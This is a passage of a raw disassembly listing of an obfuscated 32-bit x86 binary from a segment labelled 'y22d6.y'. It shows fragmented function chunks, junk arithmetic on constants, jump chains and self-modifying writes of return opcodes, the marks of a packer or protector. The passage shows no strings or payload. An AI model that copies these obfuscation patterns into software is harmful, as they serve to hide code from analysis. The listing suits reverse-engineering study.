AT 00445CE0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447734 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447E4C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044C009 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0044C9E1 SIZE 00000005 BYTES push edx push 0FBDF6410h pop edx sub edx, 0C868FFEFh jmp loc_43877B sub_43E7BF endp ; =============== S U B R O U T I N E ======================================= sub_43E7D1 proc near ; CODE XREF: y22d6.y.:0043C20Fj ; sub_43E196+Ap xchg eax, [esp+0] pop eax call sub_4435D6 dec eax mov edx, ds:dword_4413E8 mov [edx], eax sub_43E7D1 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_43E7E3: ; CODE XREF: sub_43FFE2:loc_4408A7j call sub_4435D6 mov edx, ds:dword_4413E8 jmp loc_44AE9B ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; =============== S U B R O U T I N E ======================================= sub_43E7F3 proc near ; DATA XREF: sub_44BBBA-8D47o add [ebp-8], eax mov eax, [ebp-8] call sub_4472BB loc_43E7FE: ; CODE XREF: sub_4450FD-4236j jmp loc_443426 sub_43E7F3 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C59C loc_43E804: ; CODE XREF: sub_44C59C-BBD1j jmp loc_44D140 ; END OF FUNCTION CHUNK FOR sub_44C59C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_43E809: ; CODE XREF: sub_438B66:loc_4415E6j mov eax, [eax+18h] dec eax sub eax, 0FFFFFFFFh jl loc_438C96 jmp loc_44223A ; END OF FUNCTION CHUNK FOR sub_438B66 ; =============== S U B R O U T I N E ======================================= sub_43E81B proc near ; CODE XREF: y22d6.y.:00442F12p ; y22d6.y.:00447EE7j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437992 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043A371 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0043AC35 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043B07D SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00443797 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004447B5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445E21 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004479CB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00447EB0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004480F1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004489E7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044979E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004498C7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449D2D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044A00F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044B0BC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044C153 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044D4E7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E02F SIZE 00000015 BYTES xchg esi, [esp+0] pop esi pop esi push 1Ch push 55A8772Eh pop eax xor eax, 6ECD9534h and eax, 0CE7E5D72h jmp loc_4498C7 sub_43E81B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43E839: ; CODE XREF: sub_448EB6:loc_44B698j shr eax, 12h jmp loc_43DF04 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A9C6 loc_43E841: ; CODE XREF: sub_43A9C6+1j mov eax, [esp-4+arg_0] push edx nop mov eax, 6FDE1A91h call sub_43CA1A mov ds:off_41E188, eax call sub_43E5B0 loc_43E85B: ; CODE XREF: sub_4432B8:loc_4422EBj not eax cdq jmp loc_4376FD ; END OF FUNCTION CHUNK FOR sub_43A9C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43E863: ; CODE XREF: sub_4432B8:loc_4398D8j xchg ecx, [esp+0] call sub_4480DE retn ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_43E86C proc near ; DATA XREF: sub_43C6D7+102F6o var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 00437629 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004398E2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043A1DF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043DBCD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043DC0F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044372B SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00445BBF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00445CDB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447E35 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044AD44 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B25A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044B6EA SIZE 00000029 BYTES push ebp jmp loc_445CDB sub_43E86C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43E872: ; CODE XREF: sub_4432B8+13Cj ; y22d6.y.:00448820j push offset loc_449D63 jmp nullsub_352 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_43E87C: ; DATA XREF: y22d6.y.:00449C3Do mov eax, [eax] mov al, [eax] js loc_44C570 sub al, 99h call sub_437890 ; START OF FUNCTION CHUNK FOR sub_44E242 loc_43E88D: ; CODE XREF: sub_44E242-B936j jmp loc_437934 ; END OF FUNCTION CHUNK FOR sub_44E242 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442592 loc_43E892: ; CODE XREF: sub_442592+7j jmp loc_44840D ; END OF FUNCTION CHUNK FOR sub_442592 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD3D loc_43E897: ; CODE XREF: sub_43AD3D+6962j jmp loc_43D777 ; END OF FUNCTION CHUNK FOR sub_43AD3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439096 loc_43E89C: ; CODE XREF: sub_439096+Dj jmp loc_43E49B ; END OF FUNCTION CHUNK FOR sub_439096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_43E8A1: ; CODE XREF: sub_43B09B:loc_448861j pop ecx or ecx, 0DF97BC2Dh and ecx, 0BCCFA9CBh xor ecx, 271CF04Ah jmp loc_44AA33 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_43E8B9: ; CODE XREF: sub_4450FD:loc_43A12Fj jz loc_445CEF push esi loc_43E8C0: ; CODE XREF: y22d6.y.:loc_43F79Ej jmp loc_445CEC ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A5E5 loc_43E8C5: ; CODE XREF: sub_44A5E5-A0A7j push 296E4003h xchg ecx, [esp+4+var_4] not edi jmp loc_44C87F ; END OF FUNCTION CHUNK FOR sub_44A5E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_43E8D4: ; CODE XREF: sub_43B09B:loc_444002j ; sub_43B09B+8F75j xor eax, 0EF947F01h call sub_43CA1A push ecx push 48890165h jmp loc_448861 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441030 loc_43E8EA: ; CODE XREF: sub_441030:loc_43918Cj jge loc_443B92 loc_43E8F0: ; CODE XREF: sub_448EB6+2620j jmp loc_440188 ; END OF FUNCTION CHUNK FOR sub_441030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4385ED loc_43E8F5: ; CODE XREF: sub_4385ED+A486j jmp loc_44AF66 ; END OF FUNCTION CHUNK FOR sub_4385ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438E86 loc_43E8FA: ; CODE XREF: sub_438E86+3j jmp loc_448FF9 ; END OF FUNCTION CHUNK FOR sub_438E86 ; --------------------------------------------------------------------------- add edx, ebp jle loc_439641 shr eax, 1Dh cmp eax, edx jmp loc_443B87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_43E911: ; CODE XREF: sub_440280-6B3j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_440280 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43E913 proc near ; CODE XREF: sub_44D7E0-141FBp ; sub_43B006+8p ... push ebp mov ebp, esp push ebx jmp loc_44B270 sub_43E913 endp ; --------------------------------------------------------------------------- push 9484DEE1h pop eax and eax, 0ED9E6008h rol eax, 1Ah sub eax, 92C13CD2h xor eax, 50ACE46Fh loc_43E937: ; CODE XREF: y22d6.y.:loc_43F5AEj call sub_43CA1A push edi jmp loc_4380A2 ; --------------------------------------------------------------------------- add esp, 10h pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44529A loc_43E949: ; CODE XREF: sub_44529A-517Dj jmp loc_438F98 ; END OF FUNCTION CHUNK FOR sub_44529A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4384B4 loc_43E94E: ; CODE XREF: sub_4384B4+6D40j jmp loc_44A0F2 ; END OF FUNCTION CHUNK FOR sub_4384B4 ; =============== S U B R O U T I N E ======================================= sub_43E953 proc near ; CODE XREF: y22d6.y.:0043E4BFp ; sub_441E1E+Cp ... ; FUNCTION CHUNK AT 004422C6 SIZE 0000000A BYTES jz loc_4422C6 jmp sub_43CBD3 sub_43E953 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_43E95E: ; CODE XREF: sub_44057E:loc_442643j jz loc_43AD8B loc_43E964: ; CODE XREF: y22d6.y.:0044078Ej jmp loc_444EDE ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- loc_43E969: ; CODE XREF: y22d6.y.:0044894Dj jl loc_444E6F ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43E96F: ; CODE XREF: sub_448EB6+2Dj jmp loc_439F75 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43837F loc_43E974: ; CODE XREF: sub_43837F+BE2j jmp loc_43AB5A ; END OF FUNCTION CHUNK FOR sub_43837F ; --------------------------------------------------------------------------- jl loc_444BF0 rol esi, 1Ah test eax, ebp jmp loc_444E63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A3A9 loc_43E989: ; CODE XREF: sub_43A3A9:loc_43A3B3j mov dword ptr [ecx], 10001h lea eax, loc_44D431 call sub_43C712 test esi, eax jmp loc_44D546 ; END OF FUNCTION CHUNK FOR sub_43A3A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A9C6 loc_43E9A1: ; CODE XREF: sub_43A9C6:loc_44A49Ej call sub_43CB9B loc_43E9A6: ; CODE XREF: sub_4383E0+545Bj jmp nullsub_152 ; END OF FUNCTION CHUNK FOR sub_43A9C6 ; --------------------------------------------------------------------------- loc_43E9AB: ; CODE XREF: y22d6.y.:004430BFj mov edx, [edx] mov [eax], edx ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_43E9AF: ; CODE XREF: sub_44AEDA-67E5j js loc_4440E8 mov eax, [ebp-24h] test byte ptr [eax+1], 80h jnz loc_44AB6F jmp loc_43CBCE ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4418C5 loc_43E9C7: ; CODE XREF: sub_4418C5:loc_437389j and eax, 20E1F2F9h or eax, 815C0CAEh xor eax, 80D00097h loc_43E9D9: ; CODE XREF: sub_4432B8+A7C4j add eax, 0EF7538C9h add eax, ebp add eax, 0EFDB8CAh call sub_44D22A loc_43E9EC: ; CODE XREF: sub_43EC92+698Cj jmp loc_439B79 ; END OF FUNCTION CHUNK FOR sub_4418C5 ; --------------------------------------------------------------------------- loc_43E9F1: ; CODE XREF: y22d6.y.:00443DC0j xchg ebx, [esp] jmp loc_443200 ; --------------------------------------------------------------------------- mov ds:off_41E144, eax lea eax, loc_43ADCD mov byte ptr [eax], 0C3h jmp loc_4443E3 ; --------------------------------------------------------------------------- call nullsub_331 jmp loc_448878 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C242 loc_43EA17: ; CODE XREF: sub_43C242:loc_43C250j jnz loc_4373A3 not edx jp loc_4463CF adc ecx, 2F59F68Ah jmp loc_4373A3 ; END OF FUNCTION CHUNK FOR sub_43C242 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_337. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43EA31: ; CODE XREF: y22d6.y.:0043942Ej xor edx, eax pushf cmp esi, ebx jmp loc_43C4C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_43EA3B: ; CODE XREF: sub_44BCC2-6EB3j rol ecx, 8 sbb ebx, 89137054h loc_43EA44: ; CODE XREF: sub_44BCC2:loc_437FEEj mov eax, [ebp-108h] mov byte ptr [ebp+eax-100h], 0 push 2010h push 0 push 0EFBE9964h pop eax jmp loc_44B4C6 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; =============== S U B R O U T I N E ======================================= sub_43EA64 proc near ; DATA XREF: y22d6.y.:0043FE0Co ; FUNCTION CHUNK AT 00441B8A SIZE 00000005 BYTES mov ds:dword_41E0D8, eax lea eax, nullsub_313 mov byte ptr [eax], 0C3h jmp loc_441B8A sub_43EA64 endp ; --------------------------------------------------------------------------- call sub_44ABB0 loc_43EA7D: ; CODE XREF: y22d6.y.:0043BAD9j ja loc_43FB63 ; START OF FUNCTION CHUNK FOR sub_438B66 loc_43EA83: ; CODE XREF: sub_438B66:loc_43BAC6j xor eax, 0DB3C893Dh and eax, 0A0FA07ADh xor eax, 4886B099h add eax, ebp jmp loc_446FDA ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- loc_43EA9C: ; CODE XREF: y22d6.y.:00438BBAj shr edi, 1Ah jmp loc_44CA49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_43EAA4: ; CODE XREF: sub_43B09B+E897j jnz loc_44071C loc_43EAAA: ; CODE XREF: sub_448EB6+2922j jmp loc_44E585 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438077 loc_43EAAF: ; CODE XREF: sub_438077+10j jmp loc_44DBF7 ; END OF FUNCTION CHUNK FOR sub_438077 ; --------------------------------------------------------------------------- test edi, eax jmp loc_437FC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_43EABB: ; CODE XREF: sub_43BEF7:loc_447DEDj pushf push 195309FCh pop edx and edx, 104700FFh or edx, ds:4000E6h add edx, 60D58BFAh popf xchg edx, [esp+0] jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; --------------------------------------------------------------------------- mov edx, ebp jmp loc_44B338 ; --------------------------------------------------------------------------- dd 0E91CCBC1h, 0FFFF8999h ; --------------------------------------------------------------------------- loc_43EAEC: ; DATA XREF: sub_43872E:loc_439DCFo add edi, 0A0E52D1Ch push offset loc_43B848 jmp locret_44B949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65F loc_43EAFC: ; CODE XREF: sub_43C65F+C25Fj or esi, 0D5E9FF60h and esi, eax loc_43EB04: ; CODE XREF: sub_43C65F:loc_43FD5Bj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_43CD84 ; END OF FUNCTION CHUNK FOR sub_43C65F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_43EB0F: ; CODE XREF: sub_43D20E+3DE2j push eax call sub_44A9DF mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz loc_44C161 lea eax, [ebp-125h] push eax call sub_44C171 jmp loc_43F29E ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439A78 loc_43EB33: ; CODE XREF: sub_439A78:loc_448E0Ej jnz loc_44272A loc_43EB39: ; CODE XREF: sub_448EB6-F12j jmp nullsub_124 ; END OF FUNCTION CHUNK FOR sub_439A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4477E6 loc_43EB3E: ; CODE XREF: sub_4477E6-D941j jmp sub_44A9DF ; END OF FUNCTION CHUNK FOR sub_4477E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43EB43: ; CODE XREF: sub_4432B8:loc_443415j sub ebx, eax not ebx cmp esi, 0B0A1763Dh jmp loc_43A9E3 ; --------------------------------------------------------------------------- loc_43EB52: ; CODE XREF: sub_4432B8:loc_442176j ; y22d6.y.:loc_44B525j jz loc_44479E ; END OF FUNCTION CHUNK FOR sub_4432B8 ; START OF FUNCTION CHUNK FOR sub_441E5C loc_43EB58: ; CODE XREF: sub_441E5C+CC5j jmp loc_43D27E ; END OF FUNCTION CHUNK FOR sub_441E5C ; --------------------------------------------------------------------------- xor ebx, 0CFDD265h add ebp, 0D688E8A3h mov [ebx], ecx jmp loc_44479E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CA1A loc_43EB70: ; CODE XREF: sub_43CA1A+2E8Bj cmp ebp, 3CA9DCB2h jmp loc_44AB11 ; END OF FUNCTION CHUNK FOR sub_43CA1A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_43EB7C: ; CODE XREF: sub_44057E+8203j jmp nullsub_113 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_43EB81: ; CODE XREF: sub_44633F+Fj jmp loc_446037 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- loc_43EB86: ; CODE XREF: y22d6.y.:loc_43F912j jmp sub_446222 ; --------------------------------------------------------------------------- loc_43EB8B: ; CODE XREF: y22d6.y.:0043BAC1j jmp loc_44C6F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_43EB90: ; CODE XREF: sub_43FAC6+49A1j jge locret_43C531 mov edx, [ebx] adc edx, 0AD9E488Dh rol ebx, 12h loc_43EBA1: ; CODE XREF: sub_43FAC6:loc_44445Bj xor eax, 44FD9DB2h add eax, 609C3DF6h call sub_448A59 loc_43EBB2: ; CODE XREF: y22d6.y.:00442295j jmp nullsub_322 ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- popf jmp sub_43B01D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DCC0 loc_43EBBE: ; CODE XREF: sub_43DCC0+9621j jmp loc_43B058 ; END OF FUNCTION CHUNK FOR sub_43DCC0 ; --------------------------------------------------------------------------- loc_43EBC3: ; CODE XREF: y22d6.y.:00439EC9j jmp loc_44BF21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B656 loc_43EBC8: ; CODE XREF: sub_43B656:loc_44E225j or edx, 6F7C55E1h rol edx, 3 add edx, 363FE9E8h push offset loc_447F4F jmp loc_446DB6 ; END OF FUNCTION CHUNK FOR sub_43B656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440626 loc_43EBE1: ; CODE XREF: sub_440626:loc_44BFE1j mov eax, 19A5E09Eh push edx push 0AAAD7E46h pop edx or edx, 3E94D601h rol edx, 6 add edx, 50C40D1Ah jmp loc_442404 ; END OF FUNCTION CHUNK FOR sub_440626 ; =============== S U B R O U T I N E ======================================= sub_43EC01 proc near ; DATA XREF: sub_44E38B:loc_444C82o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00437A0A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437EDD SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004383D5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043A395 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EFAC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442942 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00444A13 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00444BB0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444DF5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044814B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00449EC0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B5C1 SIZE 00000008 BYTES add eax, 0F1D18F1h xchg eax, [esp+0] jmp loc_43A395 sub_43EC01 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebx call sub_44DCF0 loc_43EC15: ; CODE XREF: y22d6.y.:0044D0AAj jmp loc_43FD06 ; --------------------------------------------------------------------------- loc_43EC1A: ; CODE XREF: y22d6.y.:0043E04Aj mov edx, eax ; =============== S U B R O U T I N E ======================================= sub_43EC1C proc near ; CODE XREF: sub_44A413+29BAp ; FUNCTION CHUNK AT 004384AA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CA47 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043EF08 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 00440432 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440849 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00441A99 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441C2C SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0044787C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044815C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00448DDE SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004496F7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00449B96 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044DBE1 SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx jns loc_441C3B sub al, 99h loc_43EC28: ; CODE XREF: sub_438B66:loc_447794j mov edx, [ebp-4] imul byte ptr [edx] jmp loc_441A99 sub_43EC1C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449CED loc_43EC32: ; CODE XREF: sub_449CED+9j sub ecx, 0DCD507EEh jmp loc_43C410 ; END OF FUNCTION CHUNK FOR sub_449CED ; --------------------------------------------------------------------------- loc_43EC3D: ; CODE XREF: y22d6.y.:004495A2j pop eax rol eax, 14h xor eax, 0B6FF2473h call sub_43CA1A jmp loc_44BDF0 ; =============== S U B R O U T I N E ======================================= sub_43EC51 proc near ; CODE XREF: sub_44D293+9j add esp, 0FFFFFED8h mov [ebp-8], edx mov [ebp-4], eax loc_43EC5D: ; CODE XREF: y22d6.y.:00448254j xor eax, eax mov [ebp-0Ch], eax loc_43EC62: ; CODE XREF: sub_4432B8:loc_43D1F0j cmp dword ptr [ebp-4], 0 jz loc_44DA43 call nullsub_4 jmp loc_44CBB1 sub_43EC51 endp ; --------------------------------------------------------------------------- loc_43EC76: ; CODE XREF: y22d6.y.:loc_44D7F0j jnz loc_44C34C loc_43EC7C: ; CODE XREF: y22d6.y.:0044260Aj jmp loc_43D12D ; --------------------------------------------------------------------------- xor ecx, edi ror ecx, 1Fh jmp loc_44C342 ; --------------------------------------------------------------------------- loc_43EC8B: ; DATA XREF: y22d6.y.:0043C10Bo mov ds:dword_4413AC, eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43EC92 proc near ; CODE XREF: sub_43FD7A-6F6Ej var_14 = byte ptr -14h ; FUNCTION CHUNK AT 004376F2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043FFD5 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00445618 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00449FD9 SIZE 00000013 BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh cmp ds:dword_4413B0, 0 jnz loc_445618 jmp loc_4376F2 sub_43EC92 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_43ECAA: ; CODE XREF: sub_43BEF7:loc_43BF36j pop ebx and ebx, ds:4000E7h add ebx, 4910A97Fh add ebx, ebp add ebx, 956B355Dh mov ebx, [ebx] add eax, ebx pop ebx jmp loc_439F47 ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43872E loc_43ECC9: ; CODE XREF: sub_43872E+Bj ; sub_4432B8:loc_43F7ABj sub eax, 0CBFDE073h add eax, 28AB4A45h xchg eax, [esp+0] jmp loc_443878 ; END OF FUNCTION CHUNK FOR sub_43872E ; =============== S U B R O U T I N E ======================================= sub_43ECDD proc near ; DATA XREF: sub_44439D:loc_440784o ; FUNCTION CHUNK AT 00439D81 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E4A8 SIZE 00000010 BYTES add eax, 0E09AC2D5h push edx push 0F1C1EFE8h pop edx or edx, 0C03DCBC5h rol edx, 19h add edx, 957DAD8Ch jmp loc_439D81 sub_43ECDD endp ; --------------------------------------------------------------------------- test al, al jz loc_43A57F jmp loc_44476E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437913 loc_43ED0B: ; CODE XREF: sub_437913+16j rol ecx, 4 or ecx, 0B37AAB38h add ecx, 31D261ABh call sub_43B035 loc_43ED1F: ; CODE XREF: y22d6.y.:0044B16Aj mov edi, [eax] xchg edi, ebx loc_43ED23: ; CODE XREF: sub_44D6D0-2CFj add edx, 7D706C2Ah xchg edx, [esp+0] jmp loc_4409BE ; END OF FUNCTION CHUNK FOR sub_437913 ; =============== S U B R O U T I N E ======================================= sub_43ED31 proc near ; DATA XREF: sub_4432B8:loc_43CE35o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00437F35 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043B613 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00449449 SIZE 00000005 BYTES push edi push 4CB2A29Ch xchg ecx, [esp+0] loc_43ED3A: ; CODE XREF: sub_43C65F:loc_440899j mov edi, ecx pop ecx and edi, 0A5E05D07h xor edi, 0A18BF94h jmp loc_449449 sub_43ED31 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43ED4E proc near ; CODE XREF: y22d6.y.:00444BCEj ; sub_44CDB7-22D1p ; FUNCTION CHUNK AT 004395CC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B857 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BE59 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DE90 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445E51 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044B8C9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044C582 SIZE 0000000F BYTES xchg ebx, [esp+0] pop ebx mov edx, [ebp-4] imul byte ptr [edx] loc_43ED57: ; CODE XREF: y22d6.y.:004496C0j cmp al, 0A4h jz loc_43BE59 jmp loc_4395CC sub_43ED4E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43ED64: ; CODE XREF: y22d6.y.:00449B81j jle loc_43953A loc_43ED6A: ; CODE XREF: y22d6.y.:loc_43983Cj xor ebx, 3F538DCDh add ebx, 80416477h add ebx, ebp add ebx, 0F4B189FCh mov [ebx], eax pop ebx mov dword ptr [ebp-100h], 276E6143h jmp loc_44042D ; --------------------------------------------------------------------------- loc_43ED90: ; CODE XREF: y22d6.y.:0044A5B9j shr ecx, 1Dh mov eax, 0D32B2FEAh ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_43ED98: ; CODE XREF: sub_4416F3+2208j or ecx, 0C5F87391h ; END OF FUNCTION CHUNK FOR sub_4416F3 ; START OF FUNCTION CHUNK FOR sub_440280 loc_43ED9E: ; CODE XREF: sub_440280:loc_438F00j add ecx, 184B46A7h xchg ecx, [esp+0] jmp nullsub_17 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- adc ebp, esi jmp sub_43878A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4431CD loc_43EDB3: ; CODE XREF: sub_4431CD:loc_445A28j mov edx, ecx xchg edx, [esp+0] push 0D77A2D30h pop ecx xor ecx, 0F9385A74h sub ecx, 0EE8CD810h rol ecx, 0Eh sub ecx, 0DF7C033Ch jmp loc_437FF9 ; END OF FUNCTION CHUNK FOR sub_4431CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43EDD8: ; CODE XREF: sub_448EB6:loc_4490E4j pop eax or eax, 54EC681Eh and eax, 0B771DE66h xor eax, 0E4E61012h jnz 